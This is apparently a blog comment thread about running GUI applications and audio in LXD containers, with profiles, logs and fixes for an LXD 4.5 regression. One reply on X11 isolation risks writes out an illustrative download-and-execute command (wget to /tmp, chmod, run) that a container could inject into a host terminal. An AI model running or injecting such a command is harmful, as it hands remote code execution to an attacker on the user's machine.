openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libvorbis.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libvorbisenc.so.2", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libXau.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libXdmcp.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/liblzma.so.5", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/liblz4.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libgcrypt.so.20", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libnsl.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libresolv.so.2", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libbsd.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libgpg-error.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_IDENTIFICATION", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", O_RDONLY) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MEASUREMENT", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_TELEPHONE", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_ADDRESS", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_NAME", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_PAPER", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MESSAGES", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MONETARY", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_COLLATE", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_TIME", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_NUMERIC", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_CTYPE", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/home/toochevere/.pulse/client.conf", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/toochevere/.config/pulse/client.conf", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/pulse/client.conf", O_RDONLY|O_CLOEXEC) = 7
openat(AT_FDCWD, "/etc/pulse/client.conf.d", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 8
openat(AT_FDCWD, "/etc/pulse/client.conf.d/00-disable-autospawn.conf", O_RDONLY|O_CLOEXEC) = 8
openat(AT_FDCWD, "/usr/share/locale/C.UTF-8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/C.utf8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/C/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale-langpack/C.UTF-8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale-langpack/C.utf8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale-langpack/C/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/toochevere/.config/pulse/cookie", O_RDONLY|O_NOCTTY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/C.UTF-8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/C.utf8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/C/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale-langpack/C.UTF-8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale-langpack/C.utf8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale-langpack/C/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/toochevere/.pulse-cookie", O_RDONLY|O_NOCTTY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/toochevere/.config", O_RDONLY|O_NOCTTY|O_NOFOLLOW|O_CLOEXEC) = 8
openat(AT_FDCWD, "/home/toochevere/.config/pulse", O_RDONLY|O_NOCTTY|O_NOFOLLOW|O_CLOEXEC) = 8
openat(AT_FDCWD, "/home/toochevere/.config/pulse/cookie", O_RDWR|O_CREAT|O_NOCTTY|O_CLOEXEC, 0600) = 8
openat(AT_FDCWD, "/dev/urandom", O_RDONLY|O_NOCTTY|O_CLOEXEC) = 9
openat(AT_FDCWD, "/etc/machine-id", O_RDONLY|O_CLOEXEC) = 8
In both cases, some files are not accessible to the container, as you mentioned.
Author
I created a
ubuntu:20.04
GUI container, then installed thechromium
snap package, and started it.I was able to hear audio through the Chromium browser, running as a snap package, from the container.
Specifically, I was able to play lots of Youtube videos and could hear audio just fine.
ok, well I’ll keep playing with it to see if I can figure it out. Meanwhile, in case it helps, I discovered that there seem to be some apps in general that seem to need the cookie present.
On a related note, some apps seem to want to see an actual file at /tmp/.X11-unix/X0.
With this profile, on 19:10 for me, most apps irrespective of packaging generally work.
config:
security.nesting: true # needed for flatpaks to work (and Docker)
environment.DISPLAY: :0
environment.PULSE_SERVER: unix:/home/ubuntu/.pulse-native
user.user-data: |
runcmd:
- 'sed -i "s/; enable-shm = yes/enable-shm = no/g" /etc/pulse/client.conf'
packages:
- mesa-utils
- pulseaudio
description: GUI LXD profile
devices:
mygpu:
type: gpu
XDisplay:
path: /tmp/.X11-unix/X0
source: /tmp/.X11-unix/X1
type: disk
PACookie:
path: /home/ubuntu/pulse-cookie
source: /home/ubuntu/.config/pulse/cookie
type: disk
PASocket:
bind: container
connect: unix:/run/user/1000/pulse/native
listen: unix:/home/ubuntu/.pulse-native
security.gid: "1000"
security.uid: "1000"
uid: "1000"
gid: "1000"
mode: "0777"
type: proxy
X0:
bind: container
connect: unix:@/tmp/.X11-unix/X1
listen: unix:@/tmp/.X11-unix/X0
security.gid: "1000"
security.uid: "1000"
type: proxy
Also, on my local machine, I have
LXC_NEED_XHOST_PERMS=Y
in the environment.Using that setup, I have not had a case where I could not make an app in some packaging work. The occasional times where a snap is not working, the flatpak version or the apt version does, and vice versa.
I’ll continue to fiddle with 20.04 and see if I can figure out what is happening. If I find it, I’ll report back. Thanks again for your help.
u r the fking master <3 nice content
Author
Thanks!
I went through the steps and when I go to start the container I get the error:
Error: Common start logic: Failed to start device “mygpu”: Can’t create device as devices path is mounted nodev
Do you know where to look next? Thanks!
Author
Hi!
The LXD profile setup in this post does not specify the GPU, if you have more than one.
While it makes the configuration simpler, it might not autopick the correct GPU.
Can you tell me how many GPUs you have on this computer?
Also, which version of Linux distro are you running on the host?
Hello, thanks for responding!
I’m running LXD on a Dell XPS 15 9550 laptop which has two GPUs: Intel HD Graphics 530 and also a NVIDIA GeForce GTX 960M. My understanding is that only one is really active at a time, though, and in my case I basically only use the Intel one. How do I go about specifying the GPU to use? I’m running Debian 10 on this (LXD installed via snap). Thanks!
Author
First, run
lspci -nnn | grep Graphics
in order to find the PCI ID of the Intel GPU.If, for example, the result is 00:02.0, then in the LXD profile for the GPU device, add the line
In the end, it should look like
I ran lspci -nnn | grep Graphics and got the result:
00:02.0 VGA compatible controller [0300]: Intel Corporation HD Graphics 530 [8086:191b] (rev 06)
Please correct me if I’m mistaken, but I think you had a typo in your GPU PCI string. I ended up doing the profile as:
mygpu:
pci: “0000:00:02.0”
type: gpu
which I believe should be correct. But I’m still getting the same error when I try to start it:
Error: Common start logic: Failed to start device “mygpu”: Can’t create device as devices path is mounted nodev
Thanks for the help.
Author
Let’s frame the case.
What OS do you run on the host?
Do you use the snap package of LXD, or another packaging? Which is your LXD version?
Hello,
I’m running Debian 10 with kernel 5.5. The snap package of LXD is being used, and LXD’s version is 4.3. Thanks!
Author
It is quite likely some bug. Let’s try to narrow it down.
First, create a copy of the
default
LXD profile, and just add in there thegpu
device. Then, launch a container. If the container does not launch, then it is an issue with thegpu
device, and it is conclusive enough (no other irrelevant configuration exist in the profile).You can file a bug report at https://github.com/lxc/lxd/issues/
Mention your system (Debian version, lxd snap package and version).
Show your profile with
lxc profile show mytestprofile
.That should be enough to get the issue started.
Thanks a lot, I went ahead and submitted a bug report.
Author
Thanks, I found the report and I add here for completeness, https://github.com/lxc/lxd/issues/7710
In summary, the error message on
nodev
was the actually issue. The storage pool did havenodev
but needed (due to ZFS) some insight to find what to change.Simos,
Thanks very much for your excellent tutorial! Everything except sound worked for me. Andrew’s post above regarding setting the default server in /etc/pulse/client.conf to default-server = /home/ubuntu/pulse-native solved the problems I had with Pulse. It might be good to put that in the body of the blog post somewhere.
Thanks again for your excellent post! Very useful indeed!
Author
Thanks Adam!
There are several ways to get a shell into a LXD container.
Some of them do not parse the environment variables that have been set, and the “PULSE_SERVER” variable is not set for that session.
If you get a shell with “lxc exec mycontainer — sudo –user ubuntu –login”, then it should work.
But still, editing
/etc/pulse/client.conf
so that it works irrespective of the way you get a shell into the LXD container is the best practice. I’ll need to test and then add to thex11
profile.Hmm. I’m trying this again using the profile listed in this post and the container will not start.
When I run “lxc info –show-log test-gui3”, I get the following output.
Name: test-gui3
Location: none
Remote: unix://
Architecture: x86_64
Created: 2020/07/28 18:43 UTC
Status: Stopped
Type: container
Profiles: default, x11
Log:
lxc test-gui3 20200728184403.606 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1153 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.monitor.test-gui3”
lxc test-gui3 20200728184403.608 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1153 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.payload.test-gui3”
lxc test-gui3 20200728184403.613 WARN cgfsng – cgroups/cgfsng.c:fchowmodat:1573 – No such file or directory – Failed to fchownat(17, memory.oom.group, 1000000000, 0, AT_EMPTY_PATH | AT_SYMLINK_NOFOLLOW )
lxc test-gui3 20200728184403.834 ERROR conf – conf.c:run_buffer:323 – Script exited with status 1
lxc test-gui3 20200728184403.835 ERROR conf – conf.c:lxc_setup:3291 – Failed to run mount hooks
lxc test-gui3 20200728184403.835 ERROR start – start.c:do_start:1224 – Failed to setup container “test-gui3”
lxc test-gui3 20200728184403.835 ERROR sync – sync.c:__sync_wait:41 – An error occurred in another process (expected sequence number 5)
lxc test-gui3 20200728184403.839 WARN network – network.c:lxc_delete_network_priv:3203 – Failed to rename interface with index 0 from “eth0” to its initial name “veth339d3d85”
lxc test-gui3 20200728184403.839 ERROR lxccontainer – lxccontainer.c:wait_on_daemonized_start:850 – Received container state “ABORTING” instead of “RUNNING”
lxc test-gui3 20200728184403.839 ERROR start – start.c:__lxc_start:1950 – Failed to spawn container “test-gui3”
lxc test-gui3 20200728184403.839 WARN start – start.c:lxc_abort:1018 – No such process – Failed to send SIGKILL via pidfd 30 for process 1245690
lxc 20200728184404.485 WARN commands – commands.c:lxc_cmd_rsp_recv:124 – Connection reset by peer – Failed to receive response for command “get_state”
I am able to run gui apps using the profile you provide on this post – https://blog.simos.info/how-to-easily-run-graphics-accelerated-gui-apps-in-lxd-containers-on-your-ubuntu-desktop/
Not quite sure how to fix this. Thoughts?
Author
The three first lines in the log that say WARN are okay.
The next line, ERROR, about some script that exited, is the real problem.
I can guess that it may refer to the NVidia runtime. In LXD there is a script that will setup the nvidia runtime for you.
First, do you have an NVidia GPU? If not, you can remove the two lines that start with
nvidia.
and start the container again. Things should work find after that.Even if you have an NVidia GPU, you can try to temporarily remove those two lines just to check whether the container can start. If it does, then the script that does the setup of the NVidia runtime is not able to do its work.
In that case, you can file a bug report at https://github.com/lxc/lxd/issues/
Hi Simons, thanks for your job, your lxd tutorials are very useful.
I have a problem: I create the .desktop file then I pin the app to the dash. When I open the app, a second icon appears on the dash. I try to add to the .desktop file “StartupWMClass=xxx”, but doesn’t work. Is there a possible solution to avoid this duplication?
I have ubuntu 20.04 on host and ubuntu 18.04 on lxd container.
Hi, does it work with other distros as guest?
Author
It should work in other distros as guest, considering that we are using X11 features.
Some Linux distributions are stricter when allowing access to the X server. But that concerns the host. Therefore, if the host is Ubuntu, it should work with many of the available LXD container runtimes,
Note that in the Ubuntu container images, you get by default a non-root account called
ubuntu
. You will probably need to adapt the instructions a bit, such as by adding a non-root account during the container creation.If you have a specific request for the container image, please write it below to have a look at.
Hello,
I followed your guide before and everything worked perfectly, thank you. I’m using lxd snap on fedora 32. However, after a system reinstall I had to recreate my containers and now I all I get is Dummy Output on pavucontrol. I suppose the issue is related to the “Default Sink” and “Default Source” lines indicated in pactl info:
I have not managed to get them to display the correct values, as here on the host:
Any clue as to what could be happening? Here’s my graphics profile:
Thanks,
Alfr4
Author
Hi!
As I understand, your host is Fedora 31 and your container is a version of Ubuntu, most likely Ubuntu 20.04.1 (deduced from the PulseAudio version).
You can run
pactl list sinks
in the container to get a list of sinks. If you getAccess denied
, try a couple more times. You should be able to get the list of audio sinks on the host. If you do not, then the container is not communicating with the host, as if the container is running the PulseAudio server without a sound card.Thanks!
I want to ask other question:
You said that container has full access to X server, and to not run malicious or untrusted software in the container.
Is the only danger the issue that software in the container will have access to keyboard and mouse input, and screen output? Like keylogger or something like that. Or is the danger greater, like some malicious code execution on host or other dangers? Of course assuming that software on host (xorg or possibly other components) dont have serious security bugs, if they are not inherent to their design.
If reading keyboard/mouse/screen input/output by malicious program is the only problem, does using Xwayland mitigate this issue?
Author
The immediate issue is things like keyloggers, or capturing keyboard/mouse events. Also, can take screenshots. This is a generic issue with X11 and has been there since forever. See more at http://theinvisiblethings.blogspot.com/2011/04/linux-security-circus-on-gui-isolation.html
Of course, you can run a separate, nested, X server on the host, and direct the container output to that separate X server. By doing so, you are protecting your host’s X server by all sort of risks.
An example of such a nested X server is Xephyr.
In such a case, you would need to deal with potential security issues within Xephyr.
Regarding code execution from the container to the host’s X server, through the X socket, it could be possible with sending something like the following to a terminal: ‘wget http://… -O /tmp/myapp ; chmod + /tmp/myapp ; /tmp/myapp`
Thanks for the tip. I’m on fedora 32 and the container is ubuntu 20 but earlier versions of ubuntu produce the same problem. The list of sinks is pretty much what I expected:
Sink #0
State: SUSPENDED
Name: auto_null
Description: Dummy Output
Driver: module-null-sink.c
Sample Specification: s16le 2ch 44100Hz
Channel Map: front-left,front-right
Owner Module: 10
Mute: no
Volume: front-left: 65536 / 100% / 0.00 dB, front-right: 65536 / 100% / 0.00 dB
balance 0.00
Base Volume: 65536 / 100% / 0.00 dB
Monitor Source: auto_null.monitor
Latency: 0 usec, configured 0 usec
Flags: DECIBEL_VOLUME LATENCY SET_FORMATS
Properties:
device.description = “Dummy Output”
device.class = “abstract”
device.icon_name = “audio-card”
Formats:
pcm
Any idea how to get these two talking to each other? Thanks again.
Alfr4
Author
I do not have a Fedora installation and cannot replicate.
My guess would be that there is a PulseAudio server in the container that obviously has no access to audio hardware, hence you get those dummy audio devices.
The correct behavior would be for the container to use only the client PulseAudio libraries and connect through the PulseAudio Unix socket to the PulseAudio installation on the host. By doing so, the container will be able to access the real audio devices of your computer.
So if i deliberately do not run terminal connected to the same xephyr display as lxd container, it should not be able to execute commands on terminals connected to the main xorg server, right?
Is it possible to use Xpra instead of Xephyr?
Would 3d acceleration suffer with any of these solutions?
This solution sounds really nice, especially that Xephyr or Xpra could be also additionally sandboxed with other tools.
Author
If you configure your LXD container to connect to the X11 port of your Xephyr (or xpra), then the applications from your X11 LXD container will be separated from your host.
You can use Xephyr, xpra and several others as well.
The big downside is that 3D acceleration will suffer. In some cases it will be noticeably slower, in other cases you will not be able to run GPU-accelerated (GL) applications.
Hi Simos,
I created 4 containers with interface enabled following your guide and they worked for 3 months. Yesterday I worked with one of them, I run a gui application, then I closed it and I stopped the container. Aftert that, I tried to start another gui container and this error appeared:
Error: Error occurred when starting proxy device: Error: Failed to listen on @/tmp/.X11-unix/X0: listen unix @/tmp/.X11-unix/X0: bind: permission denied
I run lxc info –show-log , this is the output:
lxc 20200918081855.599 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1152 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.monitor.vue-dev”
lxc 20200918081855.604 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1152 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.payload.vue-dev”
lxc 20200918081855.626 WARN cgfsng – cgroups/cgfsng.c:fchowmodat:1573 – No such file or directory – Failed to fchownat(17, memory.oom.group, 1000000000, 0, AT_EMPTY_PATH | AT_SYMLINK_NOFOLLOW )
lxc 20200918081902.640 WARN cgfsng – cgroups/cgfsng.c:cgfsng_monitor_destroy:1109 – Success – Failed to initialize cpuset /sys/fs/cgroup/cpuset//lxc.pivot/lxc.pivot
This is my profile:
config:
environment.DISPLAY: :0
environment.PULSE_SERVER: unix:/home/myuser/pulse-native
nvidia.driver.capabilities: all
raw.idmap: both 1000 1000
user.user-data: |
#cloud-config
users:
– name: myuser
groups: [sudo, adm, cdrom, dip, plugdev]
shell: /bin/bash
sudo: [‘ALL=(ALL) NOPASSWD:ALL’]
runcmd:
– ‘sed -i “s/; enable-shm = yes/enable-shm = no/g” /etc/pulse/client.conf’
packages:
– x11-apps
– mesa-utils
– pulseaudio
package_update: true
package_upgrade: true
description: GUI LXD profile
devices:
PASocket1:
bind: container
connect: unix:/run/user/1000/pulse/native
gid: “1000”
listen: unix:/home/myuser/pulse-native
mode: “0777”
security.gid: “1000”
security.uid: “1000”
type: proxy
uid: “1000”
X0:
bind: container
connect: unix:@/tmp/.X11-unix/X0
listen: unix:@/tmp/.X11-unix/X0
security.gid: “1000”
security.uid: “1000”
type: proxy
mygpu:
type: gpu
name: x11
used_by:
– /1.0/instances/
– /1.0/instances/
– /1.0/instances/
– /1.0/instances/
Container is ubuntu 18.04 and the host is ubuntu 20.04.
If I remove the X0 device the containers start successfully (without gui obviously).
Do you have any suggestion in order to fix this problem?
Thanks for all your job, your posts are very interesting.
Matteo
Just wanted to say that I am facing the same issue as Matteo. If the container was already running it would be fine, but if it restart the container then I will face this issue. The only thing I can think of is doing an update on my Ubuntu 18.04 host today.
$ lxc info –show-log ros18-pybullet-rl
Name: ros18-pybullet-rl
Location: none
Remote: unix://
Architecture: x86_64
Created: 2020/09/14 11:18 UTC
Status: Stopped
Type: container
Profiles: default, gui
Log:
lxc ros18-pybullet-rl 20200918093524.604 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1152 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.monitor.ros18-pybullet-rl”
lxc ros18-pybullet-rl 20200918093524.606 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1152 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.payload.ros18-pybullet-rl”
lxc ros18-pybullet-rl 20200918093524.616 WARN cgfsng – cgroups/cgfsng.c:fchowmodat:1573 – No such file or directory – Failed to fchownat(17, memory.oom.group, 1000000000, 0, AT_EMPTY_PATH | AT_SYMLINK_NOFOLLOW )
lxc ros18-pybullet-rl 20200918093534.444 WARN cgfsng – cgroups/cgfsng.c:cgfsng_monitor_destroy:1109 – Success – Failed to initialize cpuset /sys/fs/cgroup/cpuset//lxc.pivot/lxc.pivot
I just noticed that yesterday LXD has been upgraded from 4.4/stable to 4.5/stable. I think that could be the source of the problem. In that case, is there an easy way to downgrade LXD to 4.4 or to the LTS version? Or do I have to backup my containers, uninstall LXD and install another version?
Same issue here. I can’t start any of the GUI containers:
Error: Error occurred when starting proxy device: Error: Failed to listen on @/tmp/.X11-unix/X0: listen unix @/tmp/.X11-unix/X0: bind: permission denied
with the following details:
20200918142356.605 WARN cgfsng - cgroups/cgfsng.c:mkdir_eexist_on_last:1152 - File exists - Failed to create directory "/sys/fs/cgroup/cpuset//lxc.monitor.gui_container
20200918142356.607 WARN cgfsng - cgroups/cgfsng.c:mkdir_eexist_on_last:1152 - File exists - Failed to create directory "/sys/fs/cgroup/cpuset//lxc.payload.gui_container
20200918142356.608 ERROR utils - utils.c:lxc_can_use_pidfd:1834 - Kernel does not support pidfds
I was able to get it working by changing the
@unix:/tmp/.X11-unix/X0
tounix:/tmp/.X11-unix/X0
in the X0 device. Not sure what the implicates of this are, but it works for now.Interesting, but removing the @ sign allowed just starting the container. However, calling any GUI app fails stating
cannot open display: :0
.Author
I also got LXD upgraded to version 4.5. It’s a snap package, and I am tracking the
latest/stable
channel.When I try to start a GUI container, I also get the permission denied error.
The output of the command
lxc info --show-log steam
has no relevant information.We are using the snap package of LXD, which means we can rollback to a previous version, until we figure out what’s going on. I just tried it and it did not work; LXD 4.5 has upgraded the database version and can no longer downgrade to LXD 4.4. It could be possible to pick the backup database of LXD 4.4 and use it instead. I did not go that path, as it would not be useful to all users.
Most likely, the issue is related to the changes with the proxy device in LXD 4.5, https://discuss.linuxcontainers.org/t/lxd-4-5-has-been-released/8824
It’s the part about forkdns and forkproxy now running under AppArmor confinement
Looking into this.
Hi Simos, thank you for the updates! I tried to
snap refresh --channel=4.4/stable
but then all my containers disappeared. In panic I ran the same command again but with with 4.5/stable with no effect. Any idea how to get my containers back again? Help extremely appreciated please.zfs list
still shows them all. I didn’t reboot the machine so far.Author
Hi Martin!
LXD 4.5 has changed the database schema from LXD 4.4. The database schema does not change frequently but it did change between these versions.
That means that when you revert the snap version to that of LXD 4.4, LXD is not able to start and you get the following error in
/var/log/syslog
.When you try to run
lxc list
, it says that it cannot find a Unix socket. It just means that LXD refused to run and has shutdown. Hence, no working Unix socket for thelxc
client to connect to the LXD service.In such a case, it could have been possible to manually edit the database and switch to the backup database (from 4.4). I did not describe this process above, and I think we should not go into such steps. The LXD developer (Stephane) has added a fix in LXD 4.6 (currently, in the
candidate
channel), so it is better to move forward.In any case, the containers are there, and you can use the
snap
command to switch back to the current LXD.I followed your tutorial on that (https://blog.simos.info/reconnecting-your-lxd-installation-to-the-zfs-storage-pool) but I was able only to recover the one non-GUI container that was running before I downgraded to 4.4. When I tried to
lxd import
the others I always got the following error:sudo lxd import merlin
Error: The instance's directory "/var/snap/lxd/common/lxd/storage-pools/default/containers/merlin" appears to be empty. Please ensure that the instance's storage volume is mounted
I did proper mounting before the import. Everything looked fine.
@Martin I made the same mistake this morning, but doing
snap refresh --channel=latest/stable
brought back my containers@Misha Thank you for the suggestion. It didn’t help at all. Maybe I shouldn’t have mounted the volumes and try importing them?
I was able to get the container running by commenting out the profile lines that referred to the X11 port and reverting to the old method of getting X11 hooked up.
devices:
XDisplay:
path: /tmp/.X11-unix/X0
source: /tmp/.X11-unix/X1
type: disk
Then I noticed sound wasn’t working either. So I also reverted it for now to the old method of talking to pulseaudio over the container network.
I ended up downgrading to 4.4, losing all my containers and manually re-importing them, sigh.
Apparently there’s a potential fix at https://github.com/lxc/lxd/pull/7893. not sure how long it’ll take to get its way into the snap version
It was just merged a few minutes ago, so hopefully not long! On a different subject, this is what I don’t like about snap… lack of control over updates. But that’s a discussion for a different day.
Author
Snap packages are different, and it is up to us to make use of their additional features.
In this case, we could have just run
snap revert lxd
and LXD would be running again in a few seconds. But LXD switched the database schema version between LXD 4.4 and LXD 4.5, so the snap switch is not that straightforward. I do not recommend that way, but rather switch forward to LXD 4.6 (currently oncandidate
channel). I’ll add instructions at the top of the post.Snaps have a feature to lock to a specific channel (i.e. LXD version). Most likely for most of us, LXD 4.0.x (channel
4.0/stable
) should suffice, it is feature-frozen, and supported as a snap package until 2025. But as we have already updated to LXD 4.5, it would require manual effort to switch back the LXD database schema to the version for LXD 4.0.x.Apart from the
4.0/stable
channel, there are also the4.4/stable
,4.5/stable
channels. Next week, there will be a4.6/stable
channel. If that channel works for you, you can switch to it when it is ready. Then, as long as you do not require any of the future new LXD features, you can stay at one of the stable channels.Author
I have updated the top of the post with instructions on how to switch to LXD 4.6 (from the candidate channel).
If you go through this, remember to switch back to the stable channel next week, when LXD 4.6 makes it there.
If the database schema changed in an incompatible way, they should have bumped the version to 5.0. Having incompatible changed in a minor version bump is dangerous especially for those folks using LXD in a production environment.
Author
The database schema has an integer value, and may change within the development versions of LXD.
The error message said that LXD 4.4 was expecting a version 33 while LXD 4.5 had a version 36.
There have been many many versions of LXD, so a version number of 36 means that the schema changes are not that many.
For those that use LXD in a production environment, they do not use LXD 4.x because these are not feature-frozen versions. In production, someone would use LXD 4.0.x (currently 4.0.3) and switch to tracking the channel
4.0/stable
. That channel gets updates only for security fixes and changes very rarely. Obviously, the database schema does not change in that line of LXD.Author
LXD 4.6 has just been released into the
latest/stable
channel. If you had setup thelatest/candidate
channel, it is now time to switch back to thelatest/stable
channel.Here is the command to do so,
Hi: Thanks so much for these instructions. I’d very much like to be able to use LXD instead of VirtualBox for a few GUI applications (mainly a secure way to connect to the web without exposing my system). This is the closest I’ve ever come to succeeding with this, but I’m still running into problems. My host is an Ubuntu 20.04 system, up to date. The container is 18.04, also up to date.
When I start firefox, I get the error msg: Sandbox: /tmp/.X11-unix/X0 is inaccessible (No such file or directory); can’t isolate network namespace in content processes . Is such a message normal for this setup?
I’m guessing that this means that LXD is not securely isolated from the rest of my system? Firefox does run, but I’m worried my system isn’t secure from a potential attack through firefox, which is why I’m using containers.
The error message is right–there is no /tmp/.X11-unix directory or anything like a unix socket file for X11 that I can find on my host system (even wtih lsof -U). On the host, there is a /tmp/.X11-unix, but it is an empty directory (no X0). On the other hand, I understand that in x11.profile /tmp/.X11-unix/X0 is just supposed to be an abstraction.
My other problem, which isn’t as critical for my main uses, is that I don’t get audio, even in firefox. There is a /run/user/1000/pulse/native file on the host. When I run pactl info, I get the error msg: pa_context_connect() failed: Connection refused . I see no error msgs in journalctl -r.
I meant to say that “On the container (NOT host), there is a /tmp/.X11-unix, but it is an empty directory…”
I grepped for ‘pulse’ in all journalctrl output and did find some potential problems (see pulled out fails below), though it’s unclear to me this explains why I get no audio. This was from yesterday and seems to be in the same time frame as download and installation of pulseaudio, which took place shortly before the following.
Oct 09 19:01:20 mycontainer pulseaudio[3620]: setrlimit(RLIMIT_NICE, (31, 31)) failed: Operation not permitted
Oct 09 19:01:20 mycontainer pulseaudio[3620]: setrlimit(RLIMIT_RTPRIO, (9, 9)) failed: Operation not permitted
Oct 09 19:01:20 mycontainer pulseaudio[3620]: Failed to acquire high-priority scheduling: Permission denied
…
Oct 09 19:01:20 mycontainer pulseaudio[3620]: Failed to open cookie file ‘/home/ubuntu/.config/pulse/cookie’: No such file or directory
Oct 09 19:01:20 mycontainer pulseaudio[3620]: Failed to load authentication key ‘/home/ubuntu/.config/pulse/cookie’: No such file or directory
Oct 09 19:01:20 mycontainer pulseaudio[3620]: Failed to open cookie file ‘/home/ubuntu/.pulse-cookie’: No such file or directory
Oct 09 19:01:20 mycontainer pulseaudio[3620]: Failed to load authentication key ‘/home/ubuntu/.pulse-cookie’: No such file or directory
…
Oct 09 19:01:20 mycontainer pulseaudio[3620]: Unable to contact D-Bus: org.freedesktop.DBus.Error.Spawn.ExecFailed: /usr/bin/dbus-launch terminated abnormally without any error message
Oct 09 19:01:20 mycontainer pulseaudio[3620]: Unable to contact D-Bus: org.freedesktop.DBus.Error.Spawn.ExecFailed: /usr/bin/dbus-launch terminated abnormally without any error message
Oct 09 19:01:20 mycontainer pulseaudio[3620]: Daemon startup complete.
…
Oct 09 19:01:25 mycontainer pulseaudio[3620]: Sink auto_null idle for too long, suspending …
Oct 09 19:01:30 mycontainer pulseaudio[3620]: Synced.
Have you considered adding some kind of license to this profile file, so it could be reused/modified by other projects?
Author
I use the pre-copyright semantics for this file. That is, since I do not mention any restrictions, there aren’t any.
You may use the profile file as you wish, without any restriction from my side.
hello could you tell me if this works with 20.04.1? or what changes i might have to make? thx alot
Hello!
I’m trying to create lxd gui container with Arch os instead of ubuntu (arch linux container on archlinux host) and found few issues that i can’t fix.
